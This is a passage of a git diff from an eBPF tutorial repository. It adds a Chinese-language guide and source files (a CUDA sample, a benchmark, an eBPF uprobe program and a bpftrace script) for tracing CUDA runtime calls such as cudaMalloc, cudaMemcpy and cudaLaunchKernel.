env.target_pid, lib_path, 0, &uprobe_opts); + /* Error handling... */ + } + + /* Attach exit uprobe */ + if (prog_exit) { + /* Similar for return probe... */ + } +} +``` + +这个函数接受一个函数名(如"cudaMalloc")和相应的入口和退出eBPF程序。然后它将这些程序作为uprobes附加到指定的库。 + +最重要的函数之一是`handle_event`,它处理来自环形缓冲区的事件: + +```c +static int handle_event(void *ctx, void *data, size_t data_sz) { + const struct event *e = data; + struct tm *tm; + char ts[32]; + char details[MAX_DETAILS_LEN]; + time_t t; + + /* Skip return probes if requested */ + if (e->is_return && !env.include_returns) + return 0; + + time(&t); + tm = localtime(&t); + strftime(ts, sizeof(ts), "%H:%M:%S", tm); + + get_event_details(e, details, sizeof(details)); + + if (env.print_timestamp) { + printf("%-8s ", ts); + } + + printf("%-16s %-7d %-20s %8s %s\n", + e->comm, e->pid, + event_type_str(e->type), + e->is_return ? "[EXIT]" : "[ENTER]", + details); + + return 0; +} +``` + +此函数格式化并显示事件信息,包括时间戳、进程详情、事件类型以及特定参数或返回值。 + +`get_event_details`函数将原始事件数据转换为人类可读的形式: + +```c +static void get_event_details(const struct event *e, char *details, size_t len) { + switch (e->type) { + case CUDA_EVENT_MALLOC: + if (!e->is_return) + snprintf(details, len, "size=%zu bytes", e->mem.size); + else + snprintf(details, len, "returned=%s", cuda_error_str(e->ret_val)); + break; + + /* Similar cases for other event types... */ + } +} +``` + +这个函数对每种事件类型都有不同的处理方式。例如,malloc事件在入口显示请求的大小,在退出时显示错误代码。 + +主事件循环非常简单: + +```c +while (!exiting) { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Error handling... */ +} +``` + +这会轮询环形缓冲区的事件,对每个事件调用`handle_event`。100ms超时确保程序对信号(如Ctrl+C)保持响应。 + +## CUDA错误处理和报告 + +我们追踪器的一个重要方面是将CUDA错误代码转换为人类可读的消息。CUDA有100多种不同的错误代码,从简单的"内存不足"到复杂的"不支持的PTX版本"。 + +我们的工具包括一个全面的`cuda_error_str`函数,将这些数字代码映射到字符串描述: + +```c +static const char *cuda_error_str(int error) { + switch (error) { + case 0: return "Success"; + case 1: return "InvalidValue"; + case 2: return "OutOfMemory"; + /* Many more error codes... */ + default: return "Unknown"; + } +} +``` + +这使输出对调试更有用。不是看到"错误2",而是看到"OutOfMemory",这立即告诉你出了什么问题。 + +## 编译和执行 + +使用提供的Makefile构建追踪器非常简单: + +```bash +# 构建追踪器和示例 +make +``` + +这将创建两个二进制文件: +- `cuda_events`:基于eBPF的CUDA追踪工具 +- `basic02`:一个简单的CUDA示例应用程序 + +构建系统足够智能,可以使用`nvidia-smi`检测你的GPU架构,并使用适当的标志编译CUDA代码。 + +运行追踪器同样简单: + +```bash +# 启动追踪工具 +sudo ./cuda_events -p ./basic02 + +# 在另一个终端运行CUDA示例 +./basic02 +``` + +你还可以通过PID追踪特定进程: + +```bash +# 运行CUDA示例 +./basic02 & +PID=$! + +# 使用PID过滤启动追踪工具 +sudo ./cuda_events -p ./basic02 -d $PID +``` + +示例输出显示了每个CUDA操作的详细信息: + +``` +Using CUDA library: ./basic02 +TIME PROCESS PID EVENT TYPE DETAILS +17:35:41 basic02 12345 cudaMalloc [ENTER] size=4000 bytes +17:35:41 basic02 12345 cudaMalloc [EXIT] returned=Success +17:35:41 basic02 12345 cudaMalloc [ENTER] size=4000 bytes +17:35:41 basic02 12345 cudaMalloc [EXIT] returned=Success +17:35:41 basic02 12345 cudaMemcpy [ENTER] size=4000 bytes, kind=1 +17:35:41 basic02 12345 cudaMemcpy [EXIT] returned=Success +17:35:41 basic02 12345 cudaLaunchKernel [ENTER] func=0x7f1234567890 +17:35:41 basic02 12345 cudaLaunchKernel [EXIT] returned=Success +17:35:41 basic02 12345 cudaMemcpy [ENTER] size=4000 bytes, kind=2 +17:35:41 basic02 12345 cudaMemcpy [EXIT] returned=Success +17:35:41 basic02 12345 cudaFree [ENTER] ptr=0x7f1234568000 +17:35:41 basic02 12345 cudaFree [EXIT] returned=Success +17:35:41 basic02 12345 cudaFree [ENTER] ptr=0x7f1234569000 +17:35:41 basic02 12345 cudaFree [EXIT] returned=Success +``` + +这个输出显示了CUDA应用程序的典型流程: +1. 在设备上分配内存 +2. 从主机复制数据到设备(kind=1) +3. 启动内核处理数据 +4. 从设备复制结果回主机(kind=2) +5. 释放设备内存 + +## 基准测试 + +我们还提供了一个基准测试工具来测试追踪器的性能和CUDA API调用的延迟。 + +```bash +make +sudo ./cuda_events -p ./bench +./bench +``` + +当没有追踪时,结果如下: + +``` +Data size: 1048576 bytes (1024 KB) +Iterations: 10000 + +Summary (average time per operation): +----------------------------------- +cudaMalloc: 113.14 µs +cudaMemcpyH2D: 365.85 µs +cudaLaunchKernel: 7.82 µs +cudaMemcpyD2H: 393.55 µs +cudaFree: 0.00 µs +``` + +当附加追踪器时,结果如下: + +``` +Data size: 1048576 bytes (1024 KB) +Iterations: 10000 + +Summary (average time per operation): +----------------------------------- +cudaMalloc: 119.81 µs +cudaMemcpyH2D: 367.16 µs +cudaLaunchKernel: 8.77 µs +cudaMemcpyD2H: 383.66 µs +cudaFree: 0.00 µs +``` + +追踪器为每个CUDA API调用增加了约2微秒的开销,这对大多数情况来说是可以忽略不计的。为了进一步减少开销,你可以尝试使用[bpftime](https://github.com/eunomia-bpf/bpftime)用户空间运行时来优化eBPF程序。 + +## 命令行选项 + +`cuda_events`工具支持以下选项: + +- `-v`:启用详细调试输出 +- `-t`:不打印时间戳 +- `-r`:不显示函数返回(只显示函数入口) +- `-p PATH`:指定CUDA运行库或应用程序的路径 +- `-d PID`:仅追踪指定的进程ID + +## 下一步 + +一旦你熟悉了这个基本的CUDA追踪工具,你可以扩展它来: + +1. 添加对更多CUDA API函数的支持 +2. 添加时间信息以分析性能瓶颈 +3. 实现相关操作之间的关联(例如,匹配malloc和free) +4. 创建CUDA操作的可视化,便于分析 +5. 添加对其他GPU框架(如OpenCL或ROCm)的支持 + +更多关于CUDA追踪工具的细节,请查看我们的教程仓库:[https://github.com/eunomia-bpf/basic-cuda-tutorial](https://github.com/eunomia-bpf/basic-cuda-tutorial) + +这个教程的代码在[https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/47-cuda-events](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/47-cuda-events) + +## 参考资料 + +- CUDA编程指南:[https://docs.nvidia.com/cuda/cuda-c-programming-guide/](https://docs.nvidia.com/cuda/cuda-c-programming-guide/) +- NVIDIA CUDA运行时API:[https://docs.nvidia.com/cuda/cuda-runtime-api/](https://docs.nvidia.com/cuda/cuda-runtime-api/) +- libbpf文档:[https://libbpf.readthedocs.io/](https://libbpf.readthedocs.io/) +- Linux uprobes文档:[https://www.kernel.org/doc/Documentation/trace/uprobetracer.txt](https://www.kernel.org/doc/Documentation/trace/uprobetracer.txt) +- eGPU: eBPF on GPUs: +- bpftime GPU示例: + +如果你想深入了解eBPF,请查看我们的教程仓库:[https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 或访问我们的网站:[https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/)。 diff --git a/src/47-cuda-events/basic02.cu b/src/47-cuda-events/basic02.cu new file mode 100644 index 00000000..814cd8f4 --- /dev/null +++ b/src/47-cuda-events/basic02.cu @@ -0,0 +1,63 @@ +#include +#include + +// Define a simple PTX inline assembly function that multiplies a number by 2 +__device__ int multiplyByTwo(int x) { + int result; + asm("mul.lo.s32 %0, %1, 2;" : "=r"(result) : "r"(x)); + return result; +} + +// CUDA kernel using PTX inline assembly +__global__ void vectorMultiplyByTwoPTX(int* input, int* output, int n) { + int idx = blockIdx.x * blockDim.x + threadIdx.x; + if (idx < n) { + output[idx] = multiplyByTwo(input[idx]); + } +} + +// Host function to initialize data and launch kernel +void vectorMultiplyByTwo(int* h_input, int* h_output, int n) { + int *d_input, *d_output; + + // Allocate device memory + cudaMalloc(&d_input, n * sizeof(int)); + cudaMalloc(&d_output, n * sizeof(int)); + + // Copy input data to device + cudaMemcpy(d_input, h_input, n * sizeof(int), cudaMemcpyHostToDevice); + + // Launch kernel + int blockSize = 256; + int numBlocks = (n + blockSize - 1) / blockSize; + vectorMultiplyByTwoPTX<<>>(d_input, d_output, n); + + // Copy result back to host + cudaMemcpy(h_output, d_output, n * sizeof(int), cudaMemcpyDeviceToHost); + + // Free device memory + cudaFree(d_input); + cudaFree(d_output); +} + +int main() { + const int n = 1000; + int h_input[n]; + int h_output[n]; + + // Initialize input data + for (int i = 0; i < n; i++) { + h_input[i] = i; + } + + // Perform vector multiplication + vectorMultiplyByTwo(h_input, h_output, n); + + // Verify results + printf("First 10 results:\n"); + for (int i = 0; i < 10; i++) { + printf("%d * 2 = %d\n", h_input[i], h_output[i]); + } + + return 0; +} \ No newline at end of file diff --git a/src/47-cuda-events/bench.cu b/src/47-cuda-events/bench.cu new file mode 100644 index 00000000..4050a319 --- /dev/null +++ b/src/47-cuda-events/bench.cu @@ -0,0 +1,217 @@ +/* CUDA benchmark for measuring tracing overhead + * This program performs a series of CUDA operations repeatedly and + * measures the execution time to analyze tracing overhead. + */ +#include +#include +#include +#include + +// Number of iterations for the benchmark +#define NUM_ITERATIONS 10000 +// Size of test data in bytes +#define DATA_SIZE (1024 * 1024) // 1MB + +// CUDA kernel that performs a simple operation (multiply by 2) +__global__ void multiplyBy2Kernel(float *data, int n) { + int idx = blockIdx.x * blockDim.x + threadIdx.x; + if (idx < n) { + data[idx] = data[idx] * 2.0f; + } +} + +// Function to check CUDA errors +void checkCudaError(cudaError_t err, const char *msg) { + if (err != cudaSuccess) { + fprintf(stderr, "CUDA Error: %s: %s\n", msg, cudaGetErrorString(err)); + exit(EXIT_FAILURE); + } +} + +// Function to measure the execution time of a CUDA operation +double measureOperation(const char *name, int iterations, void (*operation)(void)) { + cudaEvent_t start, stop; + checkCudaError(cudaEventCreate(&start), "cudaEventCreate start"); + checkCudaError(cudaEventCreate(&stop), "cudaEventCreate stop"); + + // Warm-up run + operation(); + + // Synchronize device before timing + cudaDeviceSynchronize(); + + // Start timing + checkCudaError(cudaEventRecord(start), "cudaEventRecord start"); + + // Run the operation multiple times + for (int i = 0; i < iterations; i++) { + operation(); + } + + // Stop timing + checkCudaError(cudaEventRecord(stop), "cudaEventRecord stop"); + checkCudaError(cudaEventSynchronize(stop), "cudaEventSynchronize"); + + float milliseconds = 0; + checkCudaError(cudaEventElapsedTime(&milliseconds, start, stop), "cudaEventElapsedTime"); + + // Calculate average time per operation in microseconds + double microseconds_per_op = (milliseconds * 1000.0) / iterations; + + printf("%-20s: %10.2f µs per operation (total: %.2f ms for %d iterations)\n", + name, microseconds_per_op, milliseconds, iterations); + + // Cleanup + checkCudaError(cudaEventDestroy(start), "cudaEventDestroy start"); + checkCudaError(cudaEventDestroy(stop), "cudaEventDestroy stop"); + + return microseconds_per_op; +} + +// CUDA operations to benchmark + +// Memory allocation benchmark +float *d_data = NULL; +void cudaMallocOperation() { + if (d_data != NULL) { + cudaFree(d_data); + d_data = NULL; + } + cudaMalloc((void**)&d_data, DATA_SIZE); +} + +// Memory copy (host to device) benchmark +float *h_data = NULL; +void cudaMemcpyHToDOperation() { + if (h_data == NULL) { + h_data = (float*)malloc(DATA_SIZE); + for (int i = 0; i < DATA_SIZE / sizeof(float); i++) { + h_data[i] = (float)i; + } + } + if (d_data == NULL) { + cudaMalloc((void**)&d_data, DATA_SIZE); + } + cudaMemcpy(d_data, h_data, DATA_SIZE, cudaMemcpyHostToDevice); +} + +// Kernel launch benchmark +void cudaKernelLaunchOperation() { + if (d_data == NULL) { + cudaMalloc((void**)&d_data, DATA_SIZE); + if (h_data == NULL) { + h_data = (float*)malloc(DATA_SIZE); + for (int i = 0; i < DATA_SIZE / sizeof(float); i++) { + h_data[i] = (float)i; + } + } + cudaMemcpy(d_data, h_data, DATA_SIZE, cudaMemcpyHostToDevice); + } + + int numElements = DATA_SIZE / sizeof(float); + int blockSize = 256; + int numBlocks = (numElements + blockSize - 1) / blockSize; + + multiplyBy2Kernel<<>>(d_data, numElements); + cudaDeviceSynchronize(); +} + +// Memory copy (device to host) benchmark +void cudaMemcpyDToHOperation() { + if (d_data == NULL) { + cudaMalloc((void**)&d_data, DATA_SIZE); + if (h_data == NULL) { + h_data = (float*)malloc(DATA_SIZE); + for (int i = 0; i < DATA_SIZE / sizeof(float); i++) { + h_data[i] = (float)i; + } + } + cudaMemcpy(d_data, h_data, DATA_SIZE, cudaMemcpyHostToDevice); + + int numElements = DATA_SIZE / sizeof(float); + int blockSize = 256; + int numBlocks = (numElements + blockSize - 1) / blockSize; + + multiplyBy2Kernel<<>>(d_data, numElements); + cudaDeviceSynchronize(); + } + + cudaMemcpy(h_data, d_data, DATA_SIZE, cudaMemcpyDeviceToHost); +} + +// Memory free benchmark +void cudaFreeOperation() { + if (d_data != NULL) { + cudaFree(d_data); + d_data = NULL; + } +} + +// Full operation (malloc + memcpy H2D + kernel + memcpy D2H + free) +void fullOperation() { + // Allocate device memory + float *d_temp; + cudaMalloc((void**)&d_temp, DATA_SIZE); + + // Allocate and initialize host data if needed + if (h_data == NULL) { + h_data = (float*)malloc(DATA_SIZE); + for (int i = 0; i < DATA_SIZE / sizeof(float); i++) { + h_data[i] = (float)i; + } + } + + // Copy data to device + cudaMemcpy(d_temp, h_data, DATA_SIZE, cudaMemcpyHostToDevice); + + // Launch kernel + int numElements = DATA_SIZE / sizeof(float); + int blockSize = 256; + int numBlocks = (numElements + blockSize - 1) / blockSize; + + multiplyBy2Kernel<<>>(d_temp, numElements); + cudaDeviceSynchronize(); + + // Copy data back to host + cudaMemcpy(h_data, d_temp, DATA_SIZE, cudaMemcpyDeviceToHost); + + // Free device memory + cudaFree(d_temp); +} + +int main(int argc, char **argv) { + printf("CUDA Benchmark for Tracing Overhead\n"); + printf("-----------------------------------\n"); + printf("Data size: %d bytes (%d KB)\n", DATA_SIZE, DATA_SIZE / 1024); + printf("Iterations: %d\n\n", NUM_ITERATIONS); + + // Run benchmarks + double malloc_time = measureOperation("cudaMalloc", NUM_ITERATIONS, cudaMallocOperation); + double memcpy_h2d_time = measureOperation("cudaMemcpyH2D", NUM_ITERATIONS, cudaMemcpyHToDOperation); + double kernel_time = measureOperation("cudaLaunchKernel", NUM_ITERATIONS, cudaKernelLaunchOperation); + double memcpy_d2h_time = measureOperation("cudaMemcpyD2H", NUM_ITERATIONS, cudaMemcpyDToHOperation); + double free_time = measureOperation("cudaFree", NUM_ITERATIONS, cudaFreeOperation); + double full_time = measureOperation("Full Operation", NUM_ITERATIONS, fullOperation); + + // Print summary + printf("\nSummary (average time per operation):\n"); + printf("-----------------------------------\n"); + printf("cudaMalloc: %10.2f µs\n", malloc_time); + printf("cudaMemcpyH2D: %10.2f µs\n", memcpy_h2d_time); + printf("cudaLaunchKernel: %10.2f µs\n", kernel_time); + printf("cudaMemcpyD2H: %10.2f µs\n", memcpy_d2h_time); + printf("cudaFree: %10.2f µs\n", free_time); + printf("Full Operation: %10.2f µs\n", full_time); + + // Free host memory + if (h_data != NULL) { + free(h_data); + } + + // Make sure device memory is freed + if (d_data != NULL) { + cudaFree(d_data); + } + + return 0; +} \ No newline at end of file diff --git a/src/47-cuda-events/cuda_events.bpf.c b/src/47-cuda-events/cuda_events.bpf.c new file mode 100644 index 00000000..c89154ca --- /dev/null +++ b/src/47-cuda-events/cuda_events.bpf.c @@ -0,0 +1,328 @@ +// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "cuda_events.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +/* CUDA library path is defined via build system now */ +#ifndef CUDA_LIB_PATH +#define CUDA_LIB_PATH "/usr/local/cuda/lib64/libcudart.so" +#endif + +/* Helper function to prepare and submit an event */ +static inline int submit_event(enum cuda_event_type type, bool is_return) +{ + struct event *e; + + /* Reserve sample from BPF ringbuf */ + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) + return 0; + + /* Fill common fields */ + e->pid = bpf_get_current_pid_tgid() >> 32; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + e->type = type; + e->is_return = is_return; + + /* Submit to user-space for processing */ + bpf_ringbuf_submit(e, 0); + return 0; +} + +/* Helper function for malloc event */ +static inline int submit_malloc_event(size_t size, bool is_return, int ret_val) +{ + struct event *e; + + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) + return 0; + + e->pid = bpf_get_current_pid_tgid() >> 32; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + e->type = CUDA_EVENT_MALLOC; + e->is_return = is_return; + + if (is_return) { + e->ret_val = ret_val; + } else { + e->mem.size = size; + } + + bpf_ringbuf_submit(e, 0); + return 0; +} + +/* Helper function for free event */ +static inline int submit_free_event(void *ptr, bool is_return, int ret_val) +{ + struct event *e; + + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) + return 0; + + e->pid = bpf_get_current_pid_tgid() >> 32; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + e->type = CUDA_EVENT_FREE; + e->is_return = is_return; + + if (is_return) { + e->ret_val = ret_val; + } else { + e->free_data.ptr = ptr; + } + + bpf_ringbuf_submit(e, 0); + return 0; +} + +/* Helper function for memcpy event */ +static inline int submit_memcpy_event(size_t size, int kind, bool is_return, int ret_val) +{ + struct event *e; + + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) + return 0; + + e->pid = bpf_get_current_pid_tgid() >> 32; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + e->type = CUDA_EVENT_MEMCPY; + e->is_return = is_return; + + if (is_return) { + e->ret_val = ret_val; + } else { + e->memcpy_data.size = size; + e->memcpy_data.kind = kind; + } + + bpf_ringbuf_submit(e, 0); + return 0; +} + +/* Helper for kernel launch */ +static inline int submit_launch_event(void *func, bool is_return, int ret_val) +{ + struct event *e; + + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) + return 0; + + e->pid = bpf_get_current_pid_tgid() >> 32; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + e->type = CUDA_EVENT_LAUNCH_KERNEL; + e->is_return = is_return; + + if (is_return) { + e->ret_val = ret_val; + } else { + e->launch.func = func; + } + + bpf_ringbuf_submit(e, 0); + return 0; +} + +/* Helper for device operations */ +static inline int submit_device_event(enum cuda_event_type type, int device, bool is_return, int ret_val) +{ + struct event *e; + + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) + return 0; + + e->pid = bpf_get_current_pid_tgid() >> 32; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + e->type = type; + e->is_return = is_return; + + if (is_return) { + e->ret_val = ret_val; + } else if (type == CUDA_EVENT_SET_DEVICE) { + e->device.device = device; + } + + bpf_ringbuf_submit(e, 0); + return 0; +} + +/* Helper for stream/event operations */ +static inline int submit_handle_event(enum cuda_event_type type, void *handle, bool is_return, int ret_val) +{ + struct event *e; + + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) + return 0; + + e->pid = bpf_get_current_pid_tgid() >> 32; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + e->type = type; + e->is_return = is_return; + + if (is_return) { + e->ret_val = ret_val; + } else if (handle) { + e->handle.handle = handle; + } + + bpf_ringbuf_submit(e, 0); + return 0; +} + +/* Uprobe handlers for CUDA functions */ + +/* Format of uprobe section definition supporting auto-attach: + * u[ret]probe/binary:function[+offset] + */ + +/* Memory allocation/free operations */ +SEC("uprobe") +int BPF_KPROBE(cuda_malloc_enter, void **ptr, size_t size) +{ + return submit_malloc_event(size, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_malloc_exit, int ret) +{ + return submit_malloc_event(0, true, ret); +} + +SEC("uprobe") +int BPF_KPROBE(cuda_free_enter, void *ptr) +{ + return submit_free_event(ptr, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_free_exit, int ret) +{ + return submit_free_event(0, true, ret); +} + +/* Memory copy */ +SEC("uprobe") +int BPF_KPROBE(cuda_memcpy_enter, void *dst, const void *src, size_t size, int kind) +{ + return submit_memcpy_event(size, kind, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_memcpy_exit, int ret) +{ + return submit_memcpy_event(0, 0, true, ret); +} + +/* Kernel launch */ +SEC("uprobe") +int BPF_KPROBE(cuda_launch_kernel_enter, const void *func) +{ + return submit_launch_event((void*)func, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_launch_kernel_exit, int ret) +{ + return submit_launch_event(0, true, ret); +} + +/* Stream operations */ +SEC("uprobe") +int BPF_KPROBE(cuda_stream_create_enter) +{ + return submit_handle_event(CUDA_EVENT_STREAM_CREATE, NULL, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_stream_create_exit, int ret) +{ + return submit_handle_event(CUDA_EVENT_STREAM_CREATE, NULL, true, ret); +} + +SEC("uprobe") +int BPF_KPROBE(cuda_stream_sync_enter, void *stream) +{ + return submit_handle_event(CUDA_EVENT_STREAM_SYNC, stream, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_stream_sync_exit, int ret) +{ + return submit_handle_event(CUDA_EVENT_STREAM_SYNC, NULL, true, ret); +} + +/* Device management */ +SEC("uprobe") +int BPF_KPROBE(cuda_get_device_enter) +{ + return submit_device_event(CUDA_EVENT_GET_DEVICE, 0, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_get_device_exit, int ret) +{ + return submit_device_event(CUDA_EVENT_GET_DEVICE, 0, true, ret); +} + +SEC("uprobe") +int BPF_KPROBE(cuda_set_device_enter, int device) +{ + return submit_device_event(CUDA_EVENT_SET_DEVICE, device, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_set_device_exit, int ret) +{ + return submit_device_event(CUDA_EVENT_SET_DEVICE, 0, true, ret); +} + +/* Event operations */ +SEC("uprobe") +int BPF_KPROBE(cuda_event_create_enter) +{ + return submit_handle_event(CUDA_EVENT_EVENT_CREATE, NULL, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_event_create_exit, int ret) +{ + return submit_handle_event(CUDA_EVENT_EVENT_CREATE, NULL, true, ret); +} + +SEC("uprobe") +int BPF_KPROBE(cuda_event_record_enter, void *event) +{ + return submit_handle_event(CUDA_EVENT_EVENT_RECORD, event, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_event_record_exit, int ret) +{ + return submit_handle_event(CUDA_EVENT_EVENT_RECORD, NULL, true, ret); +} + +SEC("uprobe") +int BPF_KPROBE(cuda_event_sync_enter, void *event) +{ + return submit_handle_event(CUDA_EVENT_EVENT_SYNC, event, false, 0); +} + +SEC("uretprobe") +int BPF_KRETPROBE(cuda_event_sync_exit, int ret) +{ + return submit_handle_event(CUDA_EVENT_EVENT_SYNC, NULL, true, ret); +} \ No newline at end of file diff --git a/src/47-cuda-events/cuda_events.bt b/src/47-cuda-events/cuda_events.bt new file mode 100644 index 00000000..d2cd4e86 --- /dev/null +++ b/src/47-cuda-events/cuda_events.bt @@ -0,0 +1,197 @@ +#!/usr/bin/env bpftrace + +/* + * cuda_events.bt Trace CUDA events using bpftrace and uprobes. + * + * This script traces key CUDA API functions to provide visibility into: + * - Memory operations (cudaMalloc, cudaFree, cudaMemcpy) + * - Kernel launches (cudaLaunchKernel) + * - Stream operations (cudaStreamCreate, cudaStreamSynchronize) + * - Device management (cudaGetDevice, cudaSetDevice) + * + * USAGE: sudo ./cuda_events.bt + * + * This requires: + * - bpftrace + * - CUDA toolkit installed (with libcudart.so) + * + * Note: You need to modify the library path in each probe definition if the + * default "/usr/local/cuda/lib64/libcudart.so" doesn't exist on your system. + * Search and replace all occurrences with your system's CUDA library path. + */ + +BEGIN +{ + printf("Tracing CUDA events... Hit Ctrl-C to end.\n"); + printf("%-12s %-16s %-12s %-20s %s\n", "TIME(ms)", "PROCESS", "PID", "EVENT", "DETAILS"); + printf("Using CUDA library: /usr/local/cuda-12.6/lib64/libcudart.so\n"); + printf("If this path is incorrect, please edit the script and update all probe definitions.\n"); +} + +// Memory allocation tracking +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaMalloc +{ + $size = arg1; + printf("%-12u %-16s %-12d %-20s size=%ld bytes\n", + elapsed/1000000, comm, pid, "cudaMalloc", $size); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaMalloc +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaMalloc", $ret, + $ret == 0 ? "success" : "error"); +} + +// Memory free +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaFree +{ + printf("%-12u %-16s %-12d %-20s ptr=0x%lx\n", + elapsed/1000000, comm, pid, "cudaFree", arg0); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaFree +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaFree", $ret, + $ret == 0 ? "success" : "error"); +} + +// Memory copy +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaMemcpy +{ + $size = arg3; + printf("%-12u %-16s %-12d %-20s size=%ld bytes, kind=%d\n", + elapsed/1000000, comm, pid, "cudaMemcpy", $size, arg4); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaMemcpy +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaMemcpy", $ret, + $ret == 0 ? "success" : "error"); +} + +// Kernel launches +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaLaunchKernel +{ + printf("%-12u %-16s %-12d %-20s function=0x%lx\n", + elapsed/1000000, comm, pid, "cudaLaunchKernel", arg0); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaLaunchKernel +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaLaunchKernel", $ret, + $ret == 0 ? "success" : "error"); +} + +// Stream operations +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaStreamCreate +{ + printf("%-12u %-16s %-12d %-20s\n", + elapsed/1000000, comm, pid, "cudaStreamCreate"); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaStreamCreate +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaStreamCreate", $ret, + $ret == 0 ? "success" : "error"); +} + +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaStreamSynchronize +{ + printf("%-12u %-16s %-12d %-20s stream=0x%lx\n", + elapsed/1000000, comm, pid, "cudaStreamSynchronize", arg0); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaStreamSynchronize +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaStreamSynchronize", $ret, + $ret == 0 ? "success" : "error"); +} + +// Device management +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaGetDevice +{ + printf("%-12u %-16s %-12d %-20s\n", + elapsed/1000000, comm, pid, "cudaGetDevice"); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaGetDevice +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaGetDevice", $ret, + $ret == 0 ? "success" : "error"); +} + +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaSetDevice +{ + printf("%-12u %-16s %-12d %-20s device=%d\n", + elapsed/1000000, comm, pid, "cudaSetDevice", arg0); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaSetDevice +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaSetDevice", $ret, + $ret == 0 ? "success" : "error"); +} + +// Event operations +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaEventCreate +{ + printf("%-12u %-16s %-12d %-20s\n", + elapsed/1000000, comm, pid, "cudaEventCreate"); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaEventCreate +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaEventCreate", $ret, + $ret == 0 ? "success" : "error"); +} + +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaEventRecord +{ + printf("%-12u %-16s %-12d %-20s event=0x%lx\n", + elapsed/1000000, comm, pid, "cudaEventRecord", arg0); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaEventRecord +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaEventRecord", $ret, + $ret == 0 ? "success" : "error"); +} + +uprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaEventSynchronize +{ + printf("%-12u %-16s %-12d %-20s event=0x%lx\n", + elapsed/1000000, comm, pid, "cudaEventSynchronize", arg0); +} + +uretprobe:/usr/local/cuda-12.6/lib64/libcudart.so:cudaEventSynchronize +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaEventSynchronize", $ret, + $ret == 0 ? "success" : "error"); +} + +END +{ + printf("Tracing complete.\n"); +} \ No newline at 